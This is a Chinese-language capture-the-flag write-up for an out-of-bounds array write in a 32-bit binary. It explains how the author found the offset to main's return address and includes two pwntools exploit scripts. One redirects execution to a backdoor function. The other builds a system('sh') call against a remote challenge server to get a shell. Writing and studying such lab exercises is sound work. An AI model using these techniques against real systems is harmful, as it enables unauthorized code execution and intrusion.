这是一道数组越界的题目。数组存放在栈上,程序中给出有修改数组中数据的功能,但是没有限制范围,使得其可以修改栈上任意地址。
所以我只需要将main函数的返回地址修改成后门函数就可以了。
接下来就是确定偏移,这里把我卡住了。最一开始的想法是直接用返回地址减去输入地址,得到的偏移是0x9c,带入测试发现不行。看到这里有人肯定都要嘲笑我了,我真的是太蠢了,而且还觉得没什么问题捣鼓了半天,太菜了。。。
言归正传,要定偏移,首先我们需要搞清楚程序中修改数组数据的部分具体是怎么执行的。
这里可以看到程序具体要修改的地址是由ebp+eax+var_70计算得到的(eax中存放的就是我们输入的偏移),因此我们进行调试,在0x0804884D和0x080488f2处下断点
所以 0xffffcfb8 + eax - 0x70 = 0xffffcfcc => eax = 0x84
exp:
from pwn import *
p = process('./jisuan')
context.log_level = 'DEBUG'
system_bish_addr = 0x0804859b
leave_offset = 0x84
def write_adrr(addr,va):
p.sendline('3')
p.recvuntil('which number to change:\n')
p.sendline(str(addr))
p.recvuntil('new number:\n')
p.sendline(str(va))
p.recvuntil('5. exit\n')
def dbg():
gdb.attach(p)
pause()
p.sendlineafter('How many numbers you have:\n','1')
p.sendlineafter('Give me your numbers\n','2')
p.recvuntil('5. exit\n')
write_adrr(leave_offset,0x9b)
write_adrr(leave_offset+1,0x85)
write_adrr(leave_offset+2,0x04)
write_adrr(leave_offset+3,0x08)
p.sendline('5')
p.interactive()
由于远程攻击时提示没有bash,所以只好自己构造system调用
exp:
from pwn import *
p = remote('220.249.52.133',53268)
offest = 0x84
system_plt_addr = 0x08048450
sh_addr = 0x08048987
def write_addr(offest,res):
p.sendline('3')
p.recvuntil("which number to change:")
p.sendline(str(offest))
p.recvuntil("new number:")
p.sendline(str(res))
p.recvuntil("5. exit")
p.recvuntil("How many numbers you have:")
p.sendline('1')
p.recvuntil("Give me your numbers")
p.sendline('2')
p.recvuntil("5. exit")
write_addr(offest,0x50)
write_addr(offest+1,0x84)
write_addr(offest+2,0x04)
write_addr(offest+3,0x08)
offest += 8
write_addr(offest,0x87)
write_addr(offest+1,0x89)
write_addr(offest+2,0x04)
write_addr(offest+3,0x08)
p.sendline('5')
p.interactive()